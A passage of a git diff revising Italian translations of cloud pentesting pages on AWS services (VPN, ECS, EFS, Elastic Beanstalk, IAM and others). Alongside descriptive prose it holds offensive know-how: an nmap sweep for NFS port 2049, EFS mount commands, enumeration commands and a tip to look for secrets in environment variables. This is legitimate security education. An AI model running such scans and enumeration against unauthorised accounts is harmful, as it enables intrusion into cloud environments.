e verso i seguenti indirizzi, 169.254.169.254 che viene utilizzato per raccogliere i metadati delle istanze, e 169.254.169.123 che viene utilizzato per il servizio di sincronizzazione dell'ora di Amazon. - Traffico relativo a una licenza di attivazione di Windows di Amazon da un'istanza Windows. -- Traffico tra un'interfaccia di bilanciamento del carico di rete e un'interfaccia di rete endpoint. +- Traffico tra un'interfaccia di bilanciamento del carico di rete e un'interfaccia di rete di endpoint. Per ogni interfaccia di rete che pubblica dati nel gruppo di log di CloudWatch, verrà utilizzato un flusso di log diverso. E all'interno di ciascuno di questi flussi, ci saranno i dati degli eventi di log di flusso che mostrano il contenuto delle voci di log. Ognuno di questi **log cattura dati durante una finestra di circa 10-15 minuti**. @@ -118,9 +118,9 @@ Per ogni interfaccia di rete che pubblica dati nel gruppo di log di CloudWatch, - Fornisci informazioni di routing e l'indirizzo IP pubblico del tuo dispositivo di rete (come un router o un firewall) ad AWS per creare un Customer Gateway. - Serve come punto di riferimento per impostare la connessione VPN e non comporta costi aggiuntivi. 2. **Virtual Private Gateway**: -- Un Virtual Private Gateway (VPG) è il concentratore VPN dal lato Amazon della connessione VPN Site-to-Site. +- Un Virtual Private Gateway (VPG) è il concentratore VPN sul lato Amazon della connessione VPN Site-to-Site. - È attaccato alla tua VPC e funge da obiettivo per la tua connessione VPN. -- VPG è il punto finale dal lato AWS per la connessione VPN. +- VPG è il punto finale AWS per la connessione VPN. - Gestisce la comunicazione sicura tra la tua VPC e la tua rete on-premises. 3. **Site-to-Site VPN Connection**: - Una connessione VPN Site-to-Site collega la tua rete on-premises a una VPC attraverso un tunnel VPN IPsec sicuro. @@ -138,13 +138,13 @@ Per ogni interfaccia di rete che pubblica dati nel gruppo di log di CloudWatch, **Collega la tua rete on-premises con la tua VPC.** - **VPN connection**: Una connessione sicura tra la tua attrezzatura on-premises e le tue VPC. -- **VPN tunnel**: Un collegamento crittografato dove i dati possono passare dalla rete del cliente a o da AWS. +- **VPN tunnel**: Un collegamento crittografato in cui i dati possono passare dalla rete del cliente a o da AWS. Ogni connessione VPN include due tunnel VPN che puoi utilizzare simultaneamente per alta disponibilità. -- **Customer gateway**: Una risorsa AWS che fornisce informazioni ad AWS sul tuo dispositivo customer gateway. +- **Customer gateway**: Una risorsa AWS che fornisce informazioni ad AWS sul tuo dispositivo gateway cliente. - **Customer gateway device**: Un dispositivo fisico o un'applicazione software dal tuo lato della connessione VPN Site-to-Site. -- **Virtual private gateway**: Il concentratore VPN dal lato Amazon della connessione VPN Site-to-Site. Utilizzi un virtual private gateway o un transit gateway come gateway per il lato Amazon della connessione VPN Site-to-Site. +- **Virtual private gateway**: Il concentratore VPN sul lato Amazon della connessione VPN Site-to-Site. Utilizzi un virtual private gateway o un transit gateway come gateway per il lato Amazon della connessione VPN Site-to-Site. - **Transit gateway**: Un hub di transito che può essere utilizzato per interconnettere le tue VPC e reti on-premises. Utilizzi un transit gateway o un virtual private gateway come gateway per il lato Amazon della connessione VPN Site-to-Site. #### Limitations @@ -162,10 +162,10 @@ Inoltre, prendi in considerazione quanto segue quando utilizzi la VPN Site-to-Si #### Concepts -- **Client VPN endpoint:** La risorsa che crei e configuri per abilitare e gestire le sessioni VPN client. È la risorsa dove tutte le sessioni VPN client vengono terminate. -- **Target network:** Una rete target è la rete che associ a un Client VPN endpoint. **Una subnet di una VPC è una rete target**. Associare una subnet a un Client VPN endpoint ti consente di stabilire sessioni VPN. Puoi associare più subnets a un Client VPN endpoint per alta disponibilità. Tutte le subnets devono provenire dalla stessa VPC. Ogni subnet deve appartenere a una diversa Availability Zone. +- **Client VPN endpoint:** La risorsa che crei e configuri per abilitare e gestire le sessioni VPN client. È la risorsa in cui tutte le sessioni VPN client vengono terminate. +- **Target network:** Una rete target è la rete che associ a un Client VPN endpoint. **Una subnet di una VPC è una rete target**. Associare una subnet a un Client VPN endpoint ti consente di stabilire sessioni VPN. Puoi associare più subnets a un Client VPN endpoint per alta disponibilità. Tutte le subnets devono appartenere alla stessa VPC. Ogni subnet deve appartenere a una diversa Availability Zone. - **Route**: Ogni Client VPN endpoint ha una route table che descrive le rotte di rete di destinazione disponibili. Ogni rotta nella route table specifica il percorso per il traffico verso risorse o reti specifiche. -- **Authorization rules:** Una regola di autorizzazione **limita gli utenti che possono accedere a una rete**. Per una rete specificata, configuri il gruppo Active Directory o identity provider (IdP) che è autorizzato ad accedere. Solo gli utenti appartenenti a questo gruppo possono accedere alla rete specificata. **Per impostazione predefinita, non ci sono regole di autorizzazione** e devi configurare regole di autorizzazione per abilitare gli utenti ad accedere a risorse e reti. +- **Authorization rules:** Una regola di autorizzazione **limita gli utenti che possono accedere a una rete**. Per una rete specificata, configuri il gruppo Active Directory o il provider di identità (IdP) che è autorizzato ad accedere. Solo gli utenti appartenenti a questo gruppo possono accedere alla rete specificata. **Per impostazione predefinita, non ci sono regole di autorizzazione** e devi configurare regole di autorizzazione per abilitare gli utenti ad accedere a risorse e reti. - **Client:** L'utente finale che si connette al Client VPN endpoint per stabilire una sessione VPN. Gli utenti finali devono scaricare un client OpenVPN e utilizzare il file di configurazione del Client VPN che hai creato per stabilire una sessione VPN. - **Client CIDR range:** Un intervallo di indirizzi IP da cui assegnare indirizzi IP client. Ogni connessione al Client VPN endpoint viene assegnata un indirizzo IP unico dall'intervallo CIDR client. Scegli l'intervallo CIDR client, ad esempio, `10.2.0.0/16`. - **Client VPN ports:** AWS Client VPN supporta le porte 443 e 1194 sia per TCP che per UDP. Il predefinito è la porta 443. @@ -175,15 +175,15 @@ Inoltre, prendi in considerazione quanto segue quando utilizzi la VPN Site-to-Si #### Limitations -- **Client CIDR ranges non possono sovrapporsi con il CIDR locale** della VPC in cui si trova la subnet associata, o con qualsiasi rotta aggiunta manualmente alla route table del Client VPN endpoint. +- **Client CIDR ranges cannot overlap with the local CIDR** della VPC in cui si trova la subnet associata, o qualsiasi rotta aggiunta manualmente alla route table del Client VPN endpoint. - Gli intervalli CIDR client devono avere una dimensione di blocco di almeno **/22** e non devono **essere maggiori di /12.** - Una **parte degli indirizzi** nell'intervallo CIDR client viene utilizzata per **supportare il modello di disponibilità** del Client VPN endpoint e non può essere assegnata ai client. Pertanto, ti consigliamo di **assegnare un blocco CIDR che contenga il doppio del numero di indirizzi IP richiesti** per abilitare il numero massimo di connessioni simultanee che intendi supportare sul Client VPN endpoint. - L'**intervallo CIDR client non può essere cambiato** dopo aver creato il Client VPN endpoint. - Le **subnets** associate a un Client VPN endpoint **devono trovarsi nella stessa VPC**. - Non **puoi associare più subnets dalla stessa Availability Zone a un Client VPN endpoint**. - Un Client VPN endpoint **non supporta associazioni di subnet in una VPC a locazione dedicata**. -- Client VPN supporta **solo** traffico IPv4. -- Client VPN **non è** conforme agli standard di elaborazione delle informazioni federali (**FIPS**). +- Il Client VPN supporta **solo** traffico IPv4. +- Il Client VPN **non è** conforme agli standard di elaborazione delle informazioni federali (**FIPS**). - Se l'autenticazione a più fattori (MFA) è disabilitata per il tuo Active Directory, una password utente non può essere nel seguente formato. ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index bcf2a6416..559b089d6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -18,16 +18,16 @@ Ogni account AWS ha 2 registri: **Privati** e **Pubblici**. 1. **Registri Privati**: -- **Privati per impostazione predefinita**: Le immagini di container memorizzate in un registro privato di Amazon ECR sono **accessibili solo agli utenti autorizzati** all'interno del tuo account AWS o a coloro a cui è stata concessa l'autorizzazione. +- **Privati per impostazione predefinita**: Le immagini di container memorizzate in un registro privato Amazon ECR sono **accessibili solo agli utenti autorizzati** all'interno del tuo account AWS o a coloro a cui è stata concessa l'autorizzazione. - L'URI di un **repository privato** segue il formato `.dkr.ecr..amazonaws.com/` - **Controllo accessi**: Puoi **controllare l'accesso** alle tue immagini di container private utilizzando **politiche IAM**, e puoi configurare permessi dettagliati basati su utenti o ruoli. -- **Integrazione con i servizi AWS**: I registri privati di Amazon ECR possono essere facilmente **integrati con altri servizi AWS**, come EKS, ECS... +- **Integrazione con i servizi AWS**: I registri privati Amazon ECR possono essere facilmente **integrati con altri servizi AWS**, come EKS, ECS... - **Altre opzioni per i registri privati**: - La colonna dell'immutabilità dei tag elenca il suo stato, se l'immutabilità dei tag è abilitata, **prevenirà** i **push** di immagini con **tag preesistenti** di sovrascrivere le immagini. - La colonna del **tipo di crittografia** elenca le proprietà di crittografia del repository, mostra i tipi di crittografia predefiniti come AES-256, o ha crittografie abilitate **KMS**. - La colonna del **Pull through cache** elenca il suo stato, se lo stato del Pull through cache è Attivo, memorizzerà nella cache **repository in un repository pubblico esterno nel tuo repository privato**. - Politiche **IAM specifiche** possono essere configurate per concedere diverse **autorizzazioni**. -- La **configurazione della scansione** consente di scansionare le vulnerabilità nelle immagini memorizzate all'interno del repository. +- La **configurazione della scansione** consente di cercare vulnerabilità nelle immagini memorizzate all'interno del repository. 2. **Registri Pubblici**: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index 1df4f0c1b..6d4bdfcd1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -10,14 +10,14 @@ Amazon **Elastic Container Services** o ECS fornisce una piattaforma per **ospit ECS opera utilizzando i seguenti tre elementi fondamentali: **Cluster**, **Servizi** e **Definizioni di Task**. -- **Cluster** sono **gruppi di container** che stanno girando nel cloud. Come già accennato, ci sono due tipi di avvio per i container, EC2 e Fargate. AWS definisce il tipo di avvio **EC2** come che consente ai clienti “di eseguire \[le loro\] applicazioni containerizzate su un cluster di istanze Amazon EC2 che \[essi\] **gestiscono**”. **Fargate** è simile ed è definito come “\[consentendo\] di eseguire le proprie applicazioni containerizzate **senza la necessità di provisionare e gestire** l'infrastruttura di backend”. +- **Cluster** sono **gruppi di container** che stanno girando nel cloud. Come già accennato, ci sono due tipi di avvio per i container, EC2 e Fargate. AWS definisce il tipo di avvio **EC2** come che consente ai clienti “di eseguire \[le loro\] applicazioni containerizzate su un cluster di istanze Amazon EC2 che \[essi\] **gestiscono**”. **Fargate** è simile e viene definito come “\[consentendo\] di eseguire le proprie applicazioni containerizzate **senza la necessità di fornire e gestire** l'infrastruttura di backend”. - **Servizi** vengono creati all'interno di un cluster e sono responsabili per **eseguire i task**. All'interno di una definizione di servizio **si definisce il numero di task da eseguire, l'auto scaling, il fornitore di capacità (Fargate/EC2/Esterno),** informazioni di **networking** come VPC, subnet e gruppi di sicurezza. - Ci sono **2 tipi di applicazioni**: - **Servizio**: Un gruppo di task che gestisce un lavoro di calcolo a lungo termine che può essere interrotto e riavviato. Ad esempio, un'applicazione web. - **Task**: Un task autonomo che viene eseguito e termina. Ad esempio, un lavoro batch. - Tra le applicazioni di servizio, ci sono **2 tipi di pianificatori di servizio**: - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): La strategia di pianificazione replica posiziona e **mantiene il numero desiderato** di task nel tuo cluster. Se per qualche motivo un task si spegne, ne viene avviato uno nuovo nello stesso o in un nodo diverso. -- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Distribuisce esattamente un task su ogni istanza di container attiva che ha i requisiti necessari. Non è necessario specificare un numero desiderato di task, una strategia di posizionamento dei task o utilizzare le politiche di Auto Scaling del Servizio. +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Distribuisce esattamente un task su ciascuna istanza di container attiva che ha i requisiti necessari. Non è necessario specificare un numero desiderato di task, una strategia di posizionamento dei task o utilizzare le politiche di Auto Scaling del Servizio. - **Definizioni di Task** sono responsabili per **definire quali container verranno eseguiti** e i vari parametri che verranno configurati con i container come **mappature delle porte** con l'host, **variabili d'ambiente**, **entrypoint** di Docker... - Controlla **le variabili d'ambiente per informazioni sensibili**! @@ -59,7 +59,7 @@ aws ecs describe-task-definition --task-definition : ### Privesc -Nella pagina seguente puoi controllare come **abusare dei permessi ECS per escalare i privilegi**: +Nella pagina seguente puoi controllare come **abusare delle autorizzazioni ECS per escalare i privilegi**: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index 64ae681dc..c2ccb2054 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -8,11 +8,11 @@ Amazon Elastic File System (EFS) è presentato come un **sistema di file di rete completamente gestito, scalabile ed elastico** da AWS. Il servizio facilita la creazione e la configurazione di **sistemi di file** che possono essere accessibili contemporaneamente da più istanze EC2 e altri servizi AWS. Le caratteristiche principali di EFS includono la sua capacità di scalare automaticamente senza intervento manuale, fornire accesso a bassa latenza, supportare carichi di lavoro ad alta capacità, garantire la durabilità dei dati e integrarsi senza problemi con vari meccanismi di sicurezza AWS. -Per **default**, la cartella EFS da montare sarà **`/`** ma potrebbe avere un **nome diverso**. +Per **definizione**, la cartella EFS da montare sarà **`/`** ma potrebbe avere un **nome diverso**. ### Accesso alla rete -Un EFS è creato in una VPC e sarebbe **per default accessibile in tutte le sottoreti VPC**. Tuttavia, l'EFS avrà un Gruppo di Sicurezza. Per **dare accesso a un EC2** (o a qualsiasi altro servizio AWS) per montare l'EFS, è necessario **consentire nel gruppo di sicurezza EFS una regola NFS in entrata** (porta 2049) **dal Gruppo di Sicurezza EC2**. +Un EFS è creato in una VPC e sarebbe **per impostazione predefinita accessibile in tutte le sottoreti VPC**. Tuttavia, l'EFS avrà un Gruppo di Sicurezza. Per **dare accesso a un EC2** (o a qualsiasi altro servizio AWS) per montare l'EFS, è necessario **consentire nel gruppo di sicurezza EFS una regola NFS in entrata** (porta 2049) **dal Gruppo di Sicurezza EC2**. Senza questo, **non sarai in grado di contattare il servizio NFS**. @@ -39,7 +39,7 @@ aws efs describe-replication-configurations sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` > [!CAUTION] -> Potrebbe essere che il punto di montaggio EFS si trovi all'interno della stessa VPC ma in una subnet diversa. Se vuoi essere sicuro di trovare tutti i **punti EFS sarebbe meglio scansionare la netmask `/16`**. +> Potrebbe essere che il punto di montaggio EFS si trovi all'interno della stessa VPC ma in una subnet diversa. Se vuoi essere sicuro di trovare tutti i **punti EFS sarebbe meglio scansionare il netmask `/16`**. ### Monta EFS ```bash @@ -57,7 +57,7 @@ sudo mount -t efs :/ /efs/ ``` ### IAM Access -Per **definizione**, chiunque abbia **accesso alla rete all'EFS** sarà in grado di montarlo, **leggerlo e scriverlo anche come utente root**. Tuttavia, potrebbero essere in vigore politiche del File System **che consentono solo ai principi con permessi specifici** di accedervi.\ +Per **definizione** chiunque abbia **accesso alla rete per l'EFS** sarà in grado di montare, **leggere e scrivere anche come utente root**. Tuttavia, potrebbero essere in vigore politiche del File System **che consentono solo ai principi con permessi specifici** di accedervi.\ Ad esempio, questa politica del File System **non consentirà nemmeno di montare** il file system se **non hai il permesso IAM**: ```json { @@ -81,37 +81,37 @@ Ad esempio, questa politica del File System **non consentirà nemmeno di montare ] } ``` -O questo **prevenirà l'accesso anonimo**: +Oppure questo **prevenirà l'accesso anonimo**:
-Nota che per montare i file system protetti da IAM DEVI usare il tipo "efs" nel comando di montaggio: +Nota che per montare file system protetti da IAM DEVI utilizzare il tipo "efs" nel comando di montaggio: ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ # To use a different pforile from ~/.aws/credentials # You can use: -o tls,iam,awsprofile=namedprofile ``` -### Access Points +### Punti di Accesso -**I punti di accesso** sono **punti di accesso** specifici per **l'applicazione** **in un file system EFS** che rendono più facile gestire l'accesso dell'applicazione a set di dati condivisi. +I **punti di accesso** sono punti di ingresso **specifici per l'applicazione** **in un file system EFS** che rendono più facile gestire l'accesso dell'applicazione a set di dati condivisi. Quando crei un punto di accesso, puoi **specificare il proprietario e i permessi POSIX** per i file e le directory creati tramite il punto di accesso. Puoi anche **definire una directory radice personalizzata** per il punto di accesso, specificando una directory esistente o creando una nuova con i permessi desiderati. Questo ti consente di **controllare l'accesso al tuo file system EFS su base per applicazione o per utente**, rendendo più facile gestire e proteggere i tuoi dati file condivisi. -**Puoi montare il file system da un punto di accesso con qualcosa come:** +**Puoi montare il File System da un punto di accesso con qualcosa come:** ```bash # Use IAM if you need to use iam permissions sudo mount -t efs -o tls,[iam],accesspoint= \ /efs/ ``` > [!WARNING] -> Nota che anche solo provando a montare un punto di accesso, devi comunque essere in grado di **contattare il servizio NFS tramite rete**, e se l'EFS ha una **policy** del file system, hai bisogno di **sufficienti permessi IAM** per montarlo. +> Nota che anche cercando di montare un access point devi comunque essere in grado di **contattare il servizio NFS tramite rete**, e se l'EFS ha una **policy** del file system, hai bisogno di **sufficienti permessi IAM** per montarlo. -I punti di accesso possono essere utilizzati per i seguenti scopi: +Gli access point possono essere utilizzati per i seguenti scopi: -- **Semplificare la gestione dei permessi**: Definendo un utente e un gruppo POSIX per ogni punto di accesso, puoi gestire facilmente i permessi di accesso per diverse applicazioni o utenti senza modificare i permessi del file system sottostante. -- **Imporre una directory radice**: I punti di accesso possono limitare l'accesso a una directory specifica all'interno del file system EFS, garantendo che ogni applicazione o utente operi all'interno della propria cartella designata. Questo aiuta a prevenire esposizioni o modifiche accidentali dei dati. -- **Accesso più semplice al file system**: I punti di accesso possono essere associati a una funzione AWS Lambda o a un'attività AWS Fargate, semplificando l'accesso al file system per applicazioni serverless e containerizzate. +- **Semplificare la gestione dei permessi**: Definendo un utente e un gruppo POSIX per ogni access point, puoi gestire facilmente i permessi di accesso per diverse applicazioni o utenti senza modificare i permessi del file system sottostante. +- **Imporre una directory radice**: Gli access point possono limitare l'accesso a una directory specifica all'interno del file system EFS, garantendo che ogni applicazione o utente operi all'interno della propria cartella designata. Questo aiuta a prevenire esposizioni o modifiche accidentali dei dati. +- **Accesso più semplice al file system**: Gli access point possono essere associati a una funzione AWS Lambda o a un'attività AWS Fargate, semplificando l'accesso al file system per applicazioni serverless e containerizzate. ## Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 6eba647eb..3898cd0fe 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -6,7 +6,7 @@ Amazon Elastic Beanstalk fornisce una piattaforma semplificata per **il deployment, la gestione e la scalabilità di applicazioni e servizi web**. Supporta una varietà di linguaggi di programmazione e framework, come Java, .NET, PHP, Node.js, Python, Ruby e Go, oltre a contenitori Docker. Il servizio è compatibile con server ampiamente utilizzati, tra cui Apache, Nginx, Passenger e IIS. -Elastic Beanstalk offre un modo semplice e flessibile per **deployare le tue applicazioni nel cloud AWS**, senza doversi preoccupare dell'infrastruttura sottostante. Gestisce **automaticamente** i dettagli della **provisioning** della capacità, del **bilanciamento** del carico, della **scalabilità** e del **monitoraggio** della salute dell'applicazione, permettendoti di concentrarti sulla scrittura e sul deployment del tuo codice. +Elastic Beanstalk offre un modo semplice e flessibile per **deployare le tue applicazioni nel cloud AWS**, senza la necessità di preoccuparsi dell'infrastruttura sottostante. Gestisce **automaticamente** i dettagli della **provisioning** della capacità, del **bilanciamento** del carico, della **scalabilità** e del **monitoraggio** della salute dell'applicazione, permettendoti di concentrarti sulla scrittura e sul deployment del tuo codice. L'infrastruttura creata da Elastic Beanstalk è gestita da **Autoscaling** Groups in **EC2** (con un bilanciatore di carico). Ciò significa che alla fine della giornata, se **comprometti l'host**, dovresti sapere riguardo a EC2: @@ -20,7 +20,7 @@ Inoltre, se viene utilizzato Docker, è possibile utilizzare **ECS**. aws-eks-enum.md {{#endref}} -### Applicazione e Ambienti +### Applicazione & Ambienti In AWS Elastic Beanstalk, i concetti di "applicazione" e "ambiente" servono a scopi diversi e hanno ruoli distinti nel processo di deployment. @@ -32,23 +32,23 @@ In AWS Elastic Beanstalk, i concetti di "applicazione" e "ambiente" servono a sc #### Ambiente -- Un ambiente è un'**istanza provisionata della tua applicazione** in esecuzione sull'infrastruttura AWS. È **dove il codice della tua applicazione viene deployato ed eseguito**. Elastic Beanstalk provisiona le risorse necessarie (ad es., istanze EC2, bilanciatori di carico, gruppi di auto-scaling, database) in base alla configurazione dell'ambiente. +- Un ambiente è un'**istanza provisionata della tua applicazione** che gira sull'infrastruttura AWS. È **dove il codice della tua applicazione viene deployato ed eseguito**. Elastic Beanstalk provisiona le risorse necessarie (ad es., istanze EC2, bilanciatori di carico, gruppi di auto-scaling, database) in base alla configurazione dell'ambiente. - **Ogni ambiente esegue una singola versione della tua applicazione**, e puoi avere più ambienti per scopi diversi, come sviluppo, testing, staging e produzione. - Quando crei un ambiente, scegli una piattaforma (ad es., Java, .NET, Node.js, ecc.) e un tipo di ambiente (ad es., server web o worker). Puoi anche personalizzare la configurazione dell'ambiente per controllare vari aspetti dell'infrastruttura e delle impostazioni dell'applicazione. ### 2 tipi di Ambienti -1. **Ambiente Server Web**: È progettato per **ospitare e servire applicazioni web e API**. Queste applicazioni gestiscono tipicamente le richieste HTTP/HTTPS in arrivo. L'ambiente server web provisiona risorse come **istanze EC2, bilanciatori di carico e gruppi di auto-scaling** per gestire il traffico in arrivo, gestire la capacità e garantire l'alta disponibilità dell'applicazione. -2. **Ambiente Worker**: È progettato per elaborare **compiti in background**, che sono spesso operazioni che richiedono tempo o risorse e non richiedono risposte immediate ai client. L'ambiente worker provisiona risorse come **istanze EC2 e gruppi di auto-scaling**, ma **non ha un bilanciatore di carico** poiché non gestisce direttamente le richieste HTTP/HTTPS. Invece, consuma compiti da una **coda Amazon Simple Queue Service (SQS)**, che funge da buffer tra l'ambiente worker e i compiti che elabora. +1. **Web Server Environment**: È progettato per **ospitare e servire applicazioni web e API**. Queste applicazioni gestiscono tipicamente richieste HTTP/HTTPS in arrivo. L'ambiente del server web provisiona risorse come **istanze EC2, bilanciatori di carico e gruppi di auto-scaling** per gestire il traffico in arrivo, gestire la capacità e garantire l'alta disponibilità dell'applicazione. +2. **Worker Environment**: È progettato per elaborare **compiti in background**, che sono spesso operazioni che richiedono tempo o risorse eccessive che non richiedono risposte immediate ai client. L'ambiente worker provisiona risorse come **istanze EC2 e gruppi di auto-scaling**, ma **non ha un bilanciatore di carico** poiché non gestisce direttamente le richieste HTTP/HTTPS. Invece, consuma compiti da una **coda Amazon Simple Queue Service (SQS)**, che funge da buffer tra l'ambiente worker e i compiti che elabora. ### Sicurezza Quando crei un'app in Beanstalk ci sono 3 opzioni di sicurezza molto importanti da scegliere: -- **Coppia di chiavi EC2**: Questa sarà la **chiave SSH** che potrà accedere alle istanze EC2 che eseguono l'app. -- **Profilo istanza IAM**: Questo è il **profilo istanza** che le istanze avranno (**privilegi IAM**). -- Il ruolo generato automaticamente si chiama **`aws-elasticbeanstalk-ec2-role`** e ha alcuni accessi interessanti su tutto ECS, tutto SQS, DynamoDB elasticbeanstalk e elasticbeanstalk S3 utilizzando le politiche gestite da AWS: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). -- **Ruolo di servizio**: Questo è il **ruolo che il servizio AWS** utilizzerà per eseguire tutte le azioni necessarie. A quanto ne so, un utente AWS normale non può accedere a quel ruolo. +- **EC2 key pair**: Questa sarà la **chiave SSH** che potrà accedere alle istanze EC2 che eseguono l'app. +- **IAM instance profile**: Questo è il **profilo dell'istanza** che le istanze avranno (**privilegi IAM**). +- Il ruolo generato automaticamente si chiama **`aws-elasticbeanstalk-ec2-role`** e ha accesso interessante su tutto ECS, tutto SQS, DynamoDB elasticbeanstalk e elasticbeanstalk S3 utilizzando le politiche gestite da AWS: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). +- **Service role**: Questo è il **ruolo che il servizio AWS** utilizzerà per eseguire tutte le azioni necessarie. A quanto ne so, un utente AWS normale non può accedere a quel ruolo. - Questo ruolo generato da AWS si chiama **`aws-elasticbeanstalk-service-role`** e utilizza le politiche gestite da AWS [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) e [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) Per impostazione predefinita, **la versione dei metadati 1 è disabilitata**: @@ -84,7 +84,7 @@ aws elasticbeanstalk describe-instances-health --environment-name # G # Get events aws elasticbeanstalk describe-events ``` -### Accesso Non Autenticato +### Accesso non autenticato {{#ref}} ../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -102,7 +102,7 @@ aws elasticbeanstalk describe-events ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md {{#endref}} -### Post Sfruttamento +### Post Exploitation {{#ref}} ../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index 2f36ae245..980955eec 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,7 +4,7 @@ ## ElastiCache -AWS ElastiCache è un **servizio di memorizzazione dei dati e cache in memoria completamente gestito** che fornisce soluzioni ad alte prestazioni, a bassa latenza e scalabili per le applicazioni. Supporta due popolari motori in memoria open-source: **Redis e Memcached**. ElastiCache **semplifica** la **configurazione**, **gestione** e **manutenzione** di questi motori, consentendo agli sviluppatori di delegare compiti che richiedono tempo come provisioning, patching, monitoraggio e **backup**. +AWS ElastiCache è un **servizio di archiviazione dati e cache in memoria completamente gestito** che fornisce soluzioni ad alte prestazioni, bassa latenza e scalabili per le applicazioni. Supporta due popolari motori in memoria open-source: **Redis e Memcached**. ElastiCache **semplifica** la **configurazione**, **gestione** e **manutenzione** di questi motori, consentendo agli sviluppatori di delegare compiti che richiedono tempo come provisioning, patching, monitoraggio e **backup**. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index 95cc92051..c74ce19d2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -12,7 +12,7 @@ Le caratteristiche principali includono: - **Impostazione della Chiave Unificata Linux**: Crittografa i volumi del cluster EBS. Gli utenti possono optare per il servizio di gestione delle chiavi di AWS (KMS) o un fornitore di chiavi personalizzato. - **Crittografia HDFS Open-Source**: Offre due opzioni di crittografia per Hadoop: - Secure Hadoop RPC (Remote Procedure Call), impostato su privacy, sfruttando il Simple Authentication Security Layer. -- La crittografia del trasferimento dei blocchi HDFS, impostata su true, utilizza l'algoritmo AES-256. +- Crittografia del trasferimento dei blocchi HDFS, impostata su true, utilizza l'algoritmo AES-256. - **Crittografia in Transito**: Si concentra sulla protezione dei dati durante il trasferimento. Le opzioni includono: - **Crittografia Open Source Transport Layer Security (TLS)**: La crittografia può essere abilitata scegliendo un fornitore di certificati: - **PEM**: Richiede la creazione manuale e l'aggregazione dei certificati PEM in un file zip, referenziato da un bucket S3. @@ -32,7 +32,7 @@ Una volta integrato un fornitore di certificati TLS nella configurazione della s - Usa Simple Authentication Security Layer e 3DES per il Block Transfer Service. - Il servizio di shuffle esterno è protetto con il Simple Authentication Security Layer. -Queste funzionalità migliorano collettivamente la postura di sicurezza dei cluster EMR, specialmente per quanto riguarda la protezione dei dati durante le fasi di archiviazione e trasmissione. +Queste funzionalità migliorano collettivamente la postura di sicurezza dei cluster EMR, specialmente riguardo alla protezione dei dati durante le fasi di archiviazione e trasmissione. #### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index 729cdf5a2..64597d37c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -94,21 +94,21 @@ Se sei interessato ai tuoi permessi ma non hai accesso per interrogare IAM, puoi #### bf-aws-permissions -Lo strumento [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) è semplicemente uno script bash che eseguirà utilizzando il profilo indicato tutte le azioni 